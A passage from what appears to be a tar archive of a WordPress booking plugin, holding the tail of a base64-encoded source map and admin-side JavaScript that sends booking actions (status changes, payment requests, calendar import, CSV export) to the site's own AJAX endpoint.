dFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0fSApO1xyXG5cdH0gKTtcclxuXHJcblx0Ly8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHQvLyBCb29raW5nIHJlc291cmNlc1xyXG5cdC8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0alF1ZXJ5KCAnI3doX2Jvb2tpbmdfdHlwZScgKS5vbiggJ2NoYW5nZScsIGZ1bmN0aW9uKCBldmVudCApe1xyXG5cclxuXHRcdHZhciBjaGFuZ2VkX3ZhbHVlID0gIGpRdWVyeSggJyN3aF9ib29raW5nX3R5cGUnICkudmFsKCk7XHRcdC8vIGl0J3MgZ2V0IGFzIGFycmF5XHJcblx0XHRpZiAoICggQXJyYXkuaXNBcnJheSggY2hhbmdlZF92YWx1ZSApICkgJiYgKCAwID09PSBjaGFuZ2VkX3ZhbHVlLmxlbmd0aCApICl7XHJcblx0XHRcdGNoYW5nZWRfdmFsdWUgPSBbJy0xJ107XHJcblx0XHR9XHJcblx0XHR3cGJjX2FqeF9ib29raW5nX3NlbmRfc2VhcmNoX3JlcXVlc3Rfd2l0aF9wYXJhbXMoIHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3doX2Jvb2tpbmdfdHlwZScgOiBjaGFuZ2VkX3ZhbHVlLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQncGFnZV9udW0nOiAxXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHR9ICk7XHJcblx0fSApO1xyXG5cclxuXHJcblx0Ly8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHQvLyBTb3J0aW5nXHJcblx0Ly8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRqUXVlcnkoICcjd2hfc29ydCcgKS5vbiggJ2NoYW5nZScsIGZ1bmN0aW9uKCBldmVudCApe1xyXG5cclxuXHRcdHZhciBjaGFuZ2VkX3ZhbHVlID0galF1ZXJ5KCAnI3doX3NvcnQnICkudmFsKCk7XHJcblxyXG5cdFx0Y2hhbmdlZF92YWx1ZSA9IEpTT04ucGFyc2UoIGNoYW5nZWRfdmFsdWUgKTtcclxuXHJcblx0XHR3cGJjX2FqeF9ib29raW5nX3NlbmRfc2VhcmNoX3JlcXVlc3Rfd2l0aF9wYXJhbXMoIHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0J3doX3NvcnQnOiBjaGFuZ2VkX3ZhbHVlWyAwIF1cclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH0gKTtcclxuXHR9ICk7XHJcblxyXG59XHJcblxyXG5qUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCl7XHJcblx0d3BiY19hanhfYm9va2luZ19kZWZpbmVfdWlfaG9va3Nfb25jZSgpO1xyXG59KTtcclxuIl0sIm1hcHBpbmdzIjoiQUFBQSxZQUFZOztBQUVaO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsU0FBU0EscUNBQXFDQSxDQUFBLEVBQUU7RUFFL0M7RUFDQTtFQUNBO0VBQ0FDLE1BQU0sQ0FBRSxrQkFBbUIsQ0FBQyxDQUFDQyxFQUFFLENBQUUsUUFBUSxFQUFFLFVBQVVDLEtBQUssRUFBRTtJQUUzRCxJQUFJQyxhQUFhLEdBQUdDLElBQUksQ0FBQ0MsS0FBSyxDQUFFTCxNQUFNLENBQUUsa0JBQW1CLENBQUMsQ0FBQ00sR0FBRyxDQUFDLENBQUUsQ0FBQztJQUVwRUMsZ0RBQWdELENBQUU7TUFDckMsaUJBQWlCLEVBQUVKLGFBQWE7TUFDaEMsVUFBVSxFQUFTLENBQUM7TUFDcEI7TUFDQSwwQkFBMEIsRUFBS0gsTUFBTSxDQUFFLGdEQUFpRCxDQUFDLENBQUNNLEdBQUcsQ0FBQyxDQUFDO01BQy9GLHlCQUF5QixFQUFNTixNQUFNLENBQUUsMEJBQTJCLENBQUMsQ0FBQ00sR0FBRyxDQUFDLENBQUM7TUFDekUsMEJBQTBCLEVBQUtOLE1BQU0sQ0FBRSwyQkFBNEIsQ0FBQyxDQUFDTSxHQUFHLENBQUMsQ0FBQztNQUMxRSw0QkFBNEIsRUFBR04sTUFBTSxDQUFFLDZCQUE4QixDQUFDLENBQUNNLEdBQUcsQ0FBQyxDQUFDO01BQzVFLDZCQUE2QixFQUFFTixNQUFNLENBQUUsOEJBQStCLENBQUMsQ0FBQ00sR0FBRyxDQUFDO0lBQzdFLENBQUUsQ0FBQztFQUNoQixDQUFFLENBQUM7O0VBRUg7RUFDQTtFQUNBO0VBQ0FOLE1BQU0sQ0FBRSxjQUFlLENBQUMsQ0FBQ0MsRUFBRSxDQUFFLFFBQVEsRUFBRSxVQUFVQyxLQUFLLEVBQUU7SUFFdkQsSUFBSUMsYUFBYSxHQUFHSCxNQUFNLENBQUUsY0FBZSxDQUFDLENBQUNNLEdBQUcsQ0FBQyxDQUFDO0lBRWxESCxhQUFhLEdBQUdDLElBQUksQ0FBQ0MsS0FBSyxDQUFFRixhQUFjLENBQUM7SUFFM0NJLGdEQUFnRCxDQUFFO01BQ3JDLGFBQWEsRUFBRUosYUFBYSxDQUFFLENBQUMsQ0FBRTtNQUNqQyxVQUFVLEVBQUs7SUFDaEIsQ0FBRSxDQUFDO0VBQ2hCLENBQUUsQ0FBQzs7RUFFSDtFQUNBO0VBQ0E7RUFDQUgsTUFBTSxDQUFFLG9CQUFxQixDQUFDLENBQUNDLEVBQUUsQ0FBRSxPQUFPLEVBQUUsVUFBV0MsS0FBSyxFQUFFO0lBQzdELElBQUssRUFBRSxLQUFLQSxLQUFLLENBQUNNLEtBQUssRUFBRTtNQUN4QkMsNENBQTRDLENBQUUsb0JBQXFCLENBQUMsQ0FBQyxDQUFVO0lBQ2hGLENBQUMsTUFBTTtNQUNOQSw0Q0FBNEMsQ0FBRSxvQkFBb0IsRUFBRSxDQUFFLENBQUMsQ0FBQyxDQUFTO0lBQ2xGO0VBQ0QsQ0FBRSxDQUFDOztFQUVIO0VBQ0E7RUFDQTtFQUNBVCxNQUFNLENBQUUsV0FBWSxDQUFDLENBQUNDLEVBQUUsQ0FBRSxRQUFRLEVBQUUsVUFBVUMsS0FBSyxFQUFFO0lBRXBELElBQUlDLGFBQWEsR0FBR0MsSUFBSSxDQUFDQyxLQUFLLENBQUVMLE1BQU0sQ0FBRSxXQUFZLENBQUMsQ0FBQ00sR0FBRyxDQUFDLENBQUUsQ0FBQztJQUU3REMsZ0RBQWdELENBQUU7TUFDckMsVUFBVSxFQUFFSixhQUFhLENBQUUsQ0FBQyxDQUFFO01BQzlCLFVBQVUsRUFBRTtJQUNiLENBQUUsQ0FBQztFQUNoQixDQUFFLENBQUM7O0VBRUg7RUFDQTtFQUNBO0VBQ0FILE1BQU0sQ0FBRSxtQkFBb0IsQ0FBQyxDQUFDQyxFQUFFLENBQUUsUUFBUSxFQUFFLFVBQVVDLEtBQUssRUFBRTtJQUU1RCxJQUFJQyxhQUFhLEdBQUdDLElBQUksQ0FBQ0MsS0FBSyxDQUFFTCxNQUFNLENBQUUsbUJBQW9CLENBQUMsQ0FBQ00sR0FBRyxDQUFDLENBQUUsQ0FBQztJQUVyRUMsZ0RBQWdELENBQUU7TUFDckMsa0JBQWtCLEVBQUVKLGFBQWEsQ0FBRSxDQUFDLENBQUU7TUFDdEMsVUFBVSxFQUFFO0lBQ2IsQ0FBRSxDQUFDO0VBQ2hCLENBQUUsQ0FBQzs7RUFFSDtFQUNBO0VBQ0E7RUFDQUgsTUFBTSxDQUFFLHVCQUF3QixDQUFDLENBQUNDLEVBQUUsQ0FBRSxRQUFRLEVBQUUsVUFBVUMsS0FBSyxFQUFFO0lBRWhFLElBQUlDLGFBQWEsR0FBR0MsSUFBSSxDQUFDQyxLQUFLLENBQUVMLE1BQU0sQ0FBRSx1QkFBd0IsQ0FBQyxDQUFDTSxHQUFHLENBQUMsQ0FBRSxDQUFDO0lBRXpFQyxnREFBZ0QsQ0FBRTtNQUNyQyxzQkFBc0IsRUFBRUosYUFBYTtNQUNyQyxVQUFVLEVBQVMsQ0FBQztNQUNwQjtNQUNBLCtCQUErQixFQUFLSCxNQUFNLENBQUUscURBQXNELENBQUMsQ0FBQ00sR0FBRyxDQUFDLENBQUM7TUFDekcsK0JBQStCLEVBQUtOLE1BQU0sQ0FBRSxnQ0FBaUMsQ0FBQyxDQUFDTSxHQUFHLENBQUMsQ0FBQztNQUNwRixpQ0FBaUMsRUFBR04sTUFBTSxDQUFFLGtDQUFtQyxDQUFDLENBQUNNLEdBQUcsQ0FBQyxDQUFDO01BQ3RGLGtDQUFrQyxFQUFFTixNQUFNLENBQUUsbUNBQW9DLENBQUMsQ0FBQ00sR0FBRyxDQUFDO0lBQ3ZGLENBQUUsQ0FBQztFQUNoQixDQUFFLENBQUM7O0VBRUg7RUFDQTtFQUNBO0VBQ0FOLE1BQU0sQ0FBRSxnQkFBaUIsQ0FBQyxDQUFDQyxFQUFFLENBQUUsUUFBUSxFQUFFLFVBQVVDLEtBQUssRUFBRTtJQUV6RCxJQUFJQyxhQUFhLEdBQUdDLElBQUksQ0FBQ0MsS0FBSyxDQUFFTCxNQUFNLENBQUUsZ0JBQWlCLENBQUMsQ0FBQ00sR0FBRyxDQUFDLENBQUUsQ0FBQztJQUVsRUMsZ0RBQWdELENBQUU7TUFDckMsZUFBZSxFQUFFSixhQUFhO01BQzlCLFVBQVUsRUFBUyxDQUFDO01BQ3BCO01BQ0Esd0JBQXdCLEVBQU9PLFNBQVMsS0FBS1YsTUFBTSxDQUFFLDhDQUErQyxDQUFDLENBQUNNLEdBQUcsQ0FBQyxDQUFDLEdBQ2pHLEVBQUUsR0FDRk4sTUFBTSxDQUFFLDhDQUErQyxDQUFDLENBQUNNLEdBQUcsQ0FBQyxDQUM3RDtNQUNWLHlCQUF5QixFQUFFTixNQUFNLENBQUUsMEJBQTJCLENBQUMsQ0FBQ00sR0FBRyxDQUFDO0lBQ3JFLENBQUUsQ0FBQztFQUdoQixDQUFFLENBQUM7O0VBRUg7RUFDQTtFQUNBO0VBQ0FOLE1BQU0sQ0FBRSxVQUFXLENBQUMsQ0FBQ0MsRUFBRSxDQUFFLFFBQVEsRUFBRSxVQUFVQyxLQUFLLEVBQUU7SUFFbkQsSUFBSUMsYUFBYSxHQUFHSCxNQUFNLENBQUUsVUFBVyxDQUFDLENBQUNNLEdBQUcsQ0FBQyxDQUFDO0lBRTlDQyxnREFBZ0QsQ0FBRTtNQUNyQyxTQUFTLEVBQUdKLGFBQWE7TUFDekIsVUFBVSxFQUFFO0lBQ2IsQ0FBRSxDQUFDO0VBQ2hCLENBQUUsQ0FBQzs7RUFFSDtFQUNBO0VBQ0E7RUFDQUgsTUFBTSxDQUFFLFdBQVksQ0FBQyxDQUFDQyxFQUFFLENBQUUsUUFBUSxFQUFFLFVBQVVDLEtBQUssRUFBRTtJQUVwRCxJQUFJQyxhQUFhLEdBQUdILE1BQU0sQ0FBRSxXQUFZLENBQUMsQ0FBQ00sR0FBRyxDQUFDLENBQUM7SUFFL0NDLGdEQUFnRCxDQUFFO01BQ3JDLFVBQVUsRUFBR0osYUFBYTtNQUMxQixVQUFVLEVBQUU7SUFDYixDQUFFLENBQUM7RUFDaEIsQ0FBRSxDQUFDOztFQUVIO0VBQ0E7RUFDQTtFQUNBSCxNQUFNLENBQUUsa0JBQW1CLENBQUMsQ0FBQ0MsRUFBRSxDQUFFLFFBQVEsRUFBRSxVQUFVQyxLQUFLLEVBQUU7SUFFM0QsSUFBSUMsYUFBYSxHQUFJSCxNQUFNLENBQUUsa0JBQW1CLENBQUMsQ0FBQ00sR0FBRyxDQUFDLENBQUMsQ0FBQyxDQUFFO0lBQzFELElBQU9LLEtBQUssQ0FBQ0MsT0FBTyxDQUFFVCxhQUFjLENBQUMsSUFBUSxDQUFDLEtBQUtBLGFBQWEsQ0FBQ1UsTUFBUSxFQUFFO01BQzFFVixhQUFhLEdBQUcsQ0FBQyxJQUFJLENBQUM7SUFDdkI7SUFDQUksZ0RBQWdELENBQUU7TUFDckMsaUJBQWlCLEVBQUdKLGFBQWE7TUFDakMsVUFBVSxFQUFFO0lBQ2IsQ0FBRSxDQUFDO0VBQ2hCLENBQUUsQ0FBQzs7RUFHSDtFQUNBO0VBQ0E7RUFDQUgsTUFBTSxDQUFFLFVBQVcsQ0FBQyxDQUFDQyxFQUFFLENBQUUsUUFBUSxFQUFFLFVBQVVDLEtBQUssRUFBRTtJQUVuRCxJQUFJQyxhQUFhLEdBQUdILE1BQU0sQ0FBRSxVQUFXLENBQUMsQ0FBQ00sR0FBRyxDQUFDLENBQUM7SUFFOUNILGFBQWEsR0FBR0MsSUFBSSxDQUFDQyxLQUFLLENBQUVGLGFBQWMsQ0FBQztJQUUzQ0ksZ0RBQWdELENBQUU7TUFDckMsU0FBUyxFQUFFSixhQUFhLENBQUUsQ0FBQztJQUM1QixDQUFFLENBQUM7RUFDaEIsQ0FBRSxDQUFDO0FBRUo7QUFFQUgsTUFBTSxDQUFDYyxRQUFRLENBQUMsQ0FBQ0MsS0FBSyxDQUFDLFlBQVU7RUFDaENoQixxQ0FBcUMsQ0FBQyxDQUFDO0FBQ3hDLENBQUMsQ0FBQyIsImlnbm9yZUxpc3QiOltdfQ== bookings__actions.js 0000666 00000214175 15165577032 0010625 0 ustar 00 "use strict"; /** * Ajax ----------------------------------------------------------------------------------------------------- */ //var is_this_action = false; /** * Send Ajax action request, like approving or cancellation * * @param action_param */ function _typeof(obj) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && "function" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }, _typeof(obj); } function wpbc_ajx_booking_ajax_action_request() { var action_param = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; console.groupCollapsed('WPBC_AJX_BOOKING_ACTIONS'); console.log(' == Ajax Actions :: Params == ', action_param); //is_this_action = true; wpbc_booking_listing_reload_button__spin_start(); // Get redefined Locale, if action on single booking ! if (undefined != action_param['booking_id'] && !Array.isArray(action_param['booking_id'])) { // Not array action_param['locale'] = wpbc_get_selected_locale(action_param['booking_id'], wpbc_ajx_booking_listing.get_secure_param('locale')); } var action_post_params = { action: 'WPBC_AJX_BOOKING_ACTIONS', nonce: wpbc_ajx_booking_listing.get_secure_param('nonce'), wpbc_ajx_user_id: undefined == action_param['user_id'] ? wpbc_ajx_booking_listing.get_secure_param('user_id') : action_param['user_id'], wpbc_ajx_locale: undefined == action_param['locale'] ? wpbc_ajx_booking_listing.get_secure_param('locale') : action_param['locale'], action_params: action_param }; // It's required for CSV export - getting the same list of bookings if (typeof action_param.search_params !== 'undefined') { action_post_params['search_params'] = action_param.search_params; delete action_post_params.action_params.search_params; } // Start Ajax jQuery.post(wpbc_url_ajax, action_post_params, /** * S u c c e s s * * @param response_data - its object returned from Ajax - class-live-searcg.php * @param textStatus - 'success' * @param jqXHR - Object */ function (response_data, textStatus, jqXHR) { console.log(' == Ajax Actions :: Response WPBC_AJX_BOOKING_ACTIONS == ', response_data); console.groupEnd(); // Probably Error if (_typeof(response_data) !== 'object' || response_data === null) { jQuery('.wpbc_ajx_under_toolbar_row').hide(); //FixIn: 9.6.1.5 jQuery(wpbc_ajx_booking_listing.get_other_param('listing_container')).html('<div class="wpbc-settings-notice notice-warning" style="text-align:left">' + response_data + '</div>'); return; } wpbc_booking_listing_reload_button__spin_pause(); wpbc_admin_show_message(response_data['ajx_after_action_message'].replace(/\n/g, "<br />"), '1' == response_data['ajx_after_action_result'] ? 'success' : 'error', 'undefined' === typeof response_data['ajx_after_action_result_all_params_arr']['after_action_result_delay'] ? 10000 : response_data['ajx_after_action_result_all_params_arr']['after_action_result_delay']); // Success response if ('1' == response_data['ajx_after_action_result']) { var is_reload_ajax_listing = true; // After Google Calendar import show imported bookings and reload the page for toolbar parameters update if (false !== response_data['ajx_after_action_result_all_params_arr']['new_listing_params']) { wpbc_ajx_booking_send_search_request_with_params(response_data['ajx_after_action_result_all_params_arr']['new_listing_params']); var closed_timer = setTimeout(function () { if (wpbc_booking_listing_reload_button__is_spin()) { if (undefined != response_data['ajx_after_action_result_all_params_arr']['new_listing_params']['reload_url_params']) { document.location.href = response_data['ajx_after_action_result_all_params_arr']['new_listing_params']['reload_url_params']; } else { document.location.reload(); } } }, 2000); is_reload_ajax_listing = false; } // Start download exported CSV file if (undefined != response_data['ajx_after_action_result_all_params_arr']['export_csv_url']) { wpbc_ajx_booking__export_csv_url__download(response_data['ajx_after_action_result_all_params_arr']['export_csv_url']); is_reload_ajax_listing = false; } if (is_reload_ajax_listing) { wpbc_ajx_booking__actual_listing__show(); // Sending Ajax Request - with parameters that we early defined in "wpbc_ajx_booking_listing" Obj. } } // Remove spin icon from button and Enable this button. wpbc_button__remove_spin(response_data['ajx_cleaned_params']['ui_clicked_element_id']); // Hide modals wpbc_popup_modals__hide(); jQuery('#ajax_respond').html(response_data); // For ability to show response, add such DIV element to page }).fail(function (jqXHR, textStatus, errorThrown) { if (window.console && window.console.log) { console.log('Ajax_Error', jqXHR, textStatus, errorThrown); } jQuery('.wpbc_ajx_under_toolbar_row').hide(); //FixIn: 9.6.1.5 var error_message = '<strong>' + 'Error!' + '</strong> ' + errorThrown; if (jqXHR.responseText) { error_message += jqXHR.responseText; } error_message = error_message.replace(/\n/g, "<br />"); wpbc_ajx_booking_show_message(error_message); }) // .done( function ( data, textStatus, jqXHR ) { if ( window.console && window.console.log ){ console.log( 'second success', data, textStatus, jqXHR ); } }) // .always( function ( data_jqXHR, textStatus, jqXHR_errorThrown ) { if ( window.console && window.console.log ){ console.log( 'always finished', data_jqXHR, textStatus, jqXHR_errorThrown ); } }) ; // End Ajax } /** * Hide all open modal popups windows */ function wpbc_popup_modals__hide() { // Hide modals if ('function' === typeof jQuery('.wpbc_popup_modal').wpbc_my_modal) { jQuery('.wpbc_popup_modal').wpbc_my_modal('hide'); } } /** * Dates Short <-> Wide ----------------------------------------------------------------------------------- */ function wpbc_ajx_click_on_dates_short() { jQuery('#booking_dates_small,.booking_dates_full').hide(); jQuery('#booking_dates_full,.booking_dates_small').show(); wpbc_ajx_booking_send_search_request_with_params({ 'ui_usr__dates_short_wide': 'short' }); } function wpbc_ajx_click_on_dates_wide() { jQuery('#booking_dates_full,.booking_dates_small').hide(); jQuery('#booking_dates_small,.booking_dates_full').show(); wpbc_ajx_booking_send_search_request_with_params({ 'ui_usr__dates_short_wide': 'wide' }); } function wpbc_ajx_click_on_dates_toggle(this_date) { jQuery(this_date).parents('.wpbc_col_dates').find('.booking_dates_small').toggle(); jQuery(this_date).parents('.wpbc_col_dates').find('.booking_dates_full').toggle(); /* var visible_section = jQuery( this_date ).parents( '.booking_dates_expand_section' ); visible_section.hide(); if ( visible_section.hasClass( 'booking_dates_full' ) ){ visible_section.parents( '.wpbc_col_dates' ).find( '.booking_dates_small' ).show(); } else { visible_section.parents( '.wpbc_col_dates' ).find( '.booking_dates_full' ).show(); }*/ console.log('wpbc_ajx_click_on_dates_toggle', this_date); } /** * Locale --------------------------------------------------------------------------------------------------- */ /** * Select options in select boxes based on attribute "value_of_selected_option" and RED color and hint for LOCALE button -- It's called from wpbc_ajx_booking_define_ui_hooks() each time after Listing loading. */ function wpbc_ajx_booking__ui_define__locale() { jQuery('.wpbc_listing_container select').each(function (index) { var selection = jQuery(this).attr("value_of_selected_option"); // Define selected select boxes if (undefined !== selection) { jQuery(this).find('option[value="' + selection + '"]').prop('selected', true); if ('' != selection && jQuery(this).hasClass('set_booking_locale_selectbox')) { // Locale var booking_locale_button = jQuery(this).parents('.ui_element_locale').find('.set_booking_locale_button'); //booking_locale_button.css( 'color', '#db4800' ); // Set button red booking_locale_button.addClass('wpbc_ui_red'); // Set button red if ('function' === typeof wpbc_tippy) { booking_locale_button.get(0)._tippy.setContent(selection); } } } }); } /** * Remark --------------------------------------------------------------------------------------------------- */ /** * Define content of remark "booking note" button and textarea. -- It's called from wpbc_ajx_booking_define_ui_hooks() each time after Listing loading. */ function wpbc_ajx_booking__ui_define__remark() { jQuery('.wpbc_listing_container .ui_remark_section textarea').each(function (index) { var text_val = jQuery(this).val(); if (undefined !== text_val && '' != text_val) { var remark_button = jQuery(this).parents('.ui_group').find('.set_booking_note_button'); if (remark_button.length > 0) { remark_button.addClass('wpbc_ui_red'); // Set button red if ('function' === typeof wpbc_tippy) { //remark_button.get( 0 )._tippy.allowHTML = true; //remark_button.get( 0 )._tippy.setContent( text_val.replace(/[\n\r]/g, '<br>') ); remark_button.get(0)._tippy.setProps({ allowHTML: true, content: text_val.replace(/[\n\r]/g, '<br>') }); } } } }); } /** * Actions ,when we click on "Remark" button. * * @param jq_button - this jQuery button object */ function wpbc_ajx_booking__ui_click__remark(jq_button) { jq_button.parents('.ui_group').find('.ui_remark_section').toggle(); } /** * Change booking resource ---------------------------------------------------------------------------------- */ function wpbc_ajx_booking__ui_click_show__change_resource(booking_id, resource_id) { // Define ID of booking to hidden input jQuery('#change_booking_resource__booking_id').val(booking_id); // Select booking resource that belong to booking jQuery('#change_booking_resource__resource_select').val(resource_id).trigger('change'); var cbr; // Get Resource section cbr = jQuery("#change_booking_resource__section").detach(); // Append it to booking ROW cbr.appendTo(jQuery("#ui__change_booking_resource__section_in_booking_" + booking_id)); cbr = null; // Hide sections of "Change booking resource" in all other bookings ROWs //jQuery( ".ui__change_booking_resource__section_in_booking" ).hide(); if (!jQuery("#ui__change_booking_resource__section_in_booking_" + booking_id).is(':visible')) { jQuery(".ui__under_actions_row__section_in_booking").hide(); } // Show only "change booking resource" section for current booking jQuery("#ui__change_booking_resource__section_in_booking_" + booking_id).toggle(); } function wpbc_ajx_booking__ui_click_save__change_resource(this_el, booking_action, el_id) { wpbc_ajx_booking_ajax_action_request({ 'booking_action': booking_action, 'booking_id': jQuery('#change_booking_resource__booking_id').val(), 'selected_resource_id': jQuery('#change_booking_resource__resource_select').val(), 'ui_clicked_element_id': el_id }); wpbc_button_enable_loading_icon(this_el); // wpbc_ajx_booking__ui_click_close__change_resource(); } function wpbc_ajx_booking__ui_click_close__change_resource() { var cbrce; // Get Resource section cbrce = jQuery("#change_booking_resource__section").detach(); // Append it to hidden HTML template section at the bottom of the page cbrce.appendTo(jQuery("#wpbc_hidden_template__change_booking_resource")); cbrce = null; // Hide all change booking resources sections jQuery(".ui__change_booking_resource__section_in_booking").hide(); } /** * Duplicate booking in other resource ---------------------------------------------------------------------- */ function wpbc_ajx_booking__ui_click_show__duplicate_booking(booking_id, resource_id) { // Define ID of booking to hidden input jQuery('#duplicate_booking_to_other_resource__booking_id').val(booking_id); // Select booking resource that belong to booking jQuery('#duplicate_booking_to_other_resource__resource_select').val(resource_id).trigger('change'); var cbr; // Get Resource section cbr = jQuery("#duplicate_booking_to_other_resource__section").detach(); // Append it to booking ROW cbr.appendTo(jQuery("#ui__duplicate_booking_to_other_resource__section_in_booking_" + booking_id)); cbr = null; // Hide sections of "Duplicate booking" in all other bookings ROWs if (!jQuery("#ui__duplicate_booking_to_other_resource__section_in_booking_" + booking_id).is(':visible')) { jQuery(".ui__under_actions_row__section_in_booking").hide(); } // Show only "Duplicate booking" section for current booking ROW jQuery("#ui__duplicate_booking_to_other_resource__section_in_booking_" + booking_id).toggle(); } function wpbc_ajx_booking__ui_click_save__duplicate_booking(this_el, booking_action, el_id) { wpbc_ajx_booking_ajax_action_request({ 'booking_action': booking_action, 'booking_id': jQuery('#duplicate_booking_to_other_resource__booking_id').val(), 'selected_resource_id': jQuery('#duplicate_booking_to_other_resource__resource_select').val(), 'ui_clicked_element_id': el_id }); wpbc_button_enable_loading_icon(this_el); // wpbc_ajx_booking__ui_click_close__change_resource(); } function wpbc_ajx_booking__ui_click_close__duplicate_booking() { var cbrce; // Get Resource section cbrce = jQuery("#duplicate_booking_to_other_resource__section").detach(); // Append it to hidden HTML template section at the bottom of the page cbrce.appendTo(jQuery("#wpbc_hidden_template__duplicate_booking_to_other_resource")); cbrce = null; // Hide all change booking resources sections jQuery(".ui__duplicate_booking_to_other_resource__section_in_booking").hide(); } /** * Change payment status ------------------------------------------------------------------------------------ */ function wpbc_ajx_booking__ui_click_show__set_payment_status(booking_id) { var jSelect = jQuery('#ui__set_payment_status__section_in_booking_' + booking_id).find('select'); var selected_pay_status = jSelect.attr("ajx-selected-value"); // Is it float - then it's unknown if (!isNaN(parseFloat(selected_pay_status))) { jSelect.find('option[value="1"]').prop('selected', true); // Unknown value is '1' in select box } else { jSelect.find('option[value="' + selected_pay_status + '"]').prop('selected', true); // Otherwise known payment status } // Hide sections of "Change booking resource" in all other bookings ROWs if (!jQuery("#ui__set_payment_status__section_in_booking_" + booking_id).is(':visible')) { jQuery(".ui__under_actions_row__section_in_booking").hide(); } // Show only "change booking resource" section for current booking jQuery("#ui__set_payment_status__section_in_booking_" + booking_id).toggle(); } function wpbc_ajx_booking__ui_click_save__set_payment_status(booking_id, this_el, booking_action, el_id) { wpbc_ajx_booking_ajax_action_request({ 'booking_action': booking_action, 'booking_id': booking_id, 'selected_payment_status': jQuery('#ui_btn_set_payment_status' + booking_id).val(), 'ui_clicked_element_id': el_id + '_save' }); wpbc_button_enable_loading_icon(this_el); jQuery('#' + el_id + '_cancel').hide(); //wpbc_button_enable_loading_icon( jQuery( '#' + el_id + '_cancel').get(0) ); } function wpbc_ajx_booking__ui_click_close__set_payment_status() { // Hide all change payment status for booking jQuery(".ui__set_payment_status__section_in_booking").hide(); } /** * Change booking cost -------------------------------------------------------------------------------------- */ function wpbc_ajx_booking__ui_click_save__set_booking_cost(booking_id, this_el, booking_action, el_id) { wpbc_ajx_booking_ajax_action_request({ 'booking_action': booking_action, 'booking_id': booking_id, 'booking_cost': jQuery('#ui_btn_set_booking_cost' + booking_id + '_cost').val(), 'ui_clicked_element_id': el_id + '_save' }); wpbc_button_enable_loading_icon(this_el); jQuery('#' + el_id + '_cancel').hide(); //wpbc_button_enable_loading_icon( jQuery( '#' + el_id + '_cancel').get(0) ); } function wpbc_ajx_booking__ui_click_close__set_booking_cost() { // Hide all change payment status for booking jQuery(".ui__set_booking_cost__section_in_booking").hide(); } /** * Send Payment request -------------------------------------------------------------------------------------- */ function wpbc_ajx_booking__ui_click__send_payment_request() { wpbc_ajx_booking_ajax_action_request({ 'booking_action': 'send_payment_request', 'booking_id': jQuery('#wpbc_modal__payment_request__booking_id').val(), 'reason_of_action': jQuery('#wpbc_modal__payment_request__reason_of_action').val(), 'ui_clicked_element_id': 'wpbc_modal__payment_request__button_send' }); wpbc_button_enable_loading_icon(jQuery('#wpbc_modal__payment_request__button_send').get(0)); } /** * Import Google Calendar ------------------------------------------------------------------------------------ */ function wpbc_ajx_booking__ui_click__import_google_calendar() { wpbc_ajx_booking_ajax_action_request({ 'booking_action': 'import_google_calendar', 'ui_clicked_element_id': 'wpbc_modal__import_google_calendar__button_send', 'booking_gcal_events_from': jQuery('#wpbc_modal__import_google_calendar__section #booking_gcal_events_from option:selected').val(), 'booking_gcal_events_from_offset': jQuery('#wpbc_modal__import_google_calendar__section #booking_gcal_events_from_offset').val(), 'booking_gcal_events_from_offset_type': jQuery('#wpbc_modal__import_google_calendar__section #booking_gcal_events_from_offset_type option:selected').val(), 'booking_gcal_events_until': jQuery('#wpbc_modal__import_google_calendar__section #booking_gcal_events_until option:selected').val(), 'booking_gcal_events_until_offset': jQuery('#wpbc_modal__import_google_calendar__section #booking_gcal_events_until_offset').val(), 'booking_gcal_events_until_offset_type': jQuery('#wpbc_modal__import_google_calendar__section #booking_gcal_events_until_offset_type option:selected').val(), 'booking_gcal_events_max': jQuery('#wpbc_modal__import_google_calendar__section #booking_gcal_events_max').val(), 'booking_gcal_resource': jQuery('#wpbc_modal__import_google_calendar__section #wpbc_booking_resource option:selected').val() }); wpbc_button_enable_loading_icon(jQuery('#wpbc_modal__import_google_calendar__section #wpbc_modal__import_google_calendar__button_send').get(0)); } /** * Export bookings to CSV ------------------------------------------------------------------------------------ */ function wpbc_ajx_booking__ui_click__export_csv(params) { var selected_booking_id_arr = wpbc_get_selected_row_id(); wpbc_ajx_booking_ajax_action_request({ 'booking_action': params['booking_action'], 'ui_clicked_element_id': params['ui_clicked_element_id'], 'export_type': params['export_type'], 'csv_export_separator': params['csv_export_separator'], 'csv_export_skip_fields': params['csv_export_skip_fields'], 'booking_id': selected_booking_id_arr.join(','), 'search_params': wpbc_ajx_booking_listing.search_get_all_params() }); var this_el = jQuery('#' + params['ui_clicked_element_id']).get(0); 